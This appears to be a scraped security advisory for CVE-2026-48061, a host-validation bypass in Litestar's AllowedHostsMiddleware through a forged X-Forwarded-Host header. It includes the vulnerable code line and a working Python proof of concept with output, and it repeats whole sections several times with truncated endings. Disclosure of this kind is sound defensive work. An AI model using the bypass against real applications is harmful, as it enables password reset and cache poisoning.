CVE-2026-48061

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions prior to 2.22.0, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. The AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, this enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections. This issue has been fixed in version 2.22.0.

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions prior to 2.22.0, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. The AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, this enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections. This issue has been fixed in version 2.22.0.

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

• Generating password reset links (Host header injection → link points to attacker domain)
• Cache key generation (cache poisoning)
• Routing or backend selection decisions

PoC

"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed…

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions prior to 2.22.0, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. The AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, this enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections. This issue has been fixed in version 2.22.0.

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions prior to 2.22.0, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. The AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, this enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections. This issue has been fixed in version 2.22.0.

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

• Generating password reset links (Host header injection → link points to attacker domain)
• Cache key generation (cache poisoning)
• Routing or backend selection decisions

PoC

"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed…

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

• Generating password reset links (Host header injection → link points to attacker domain)
• Cache key generation (cache poisoning)
• Routing or backend selection decisions

PoC

"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed…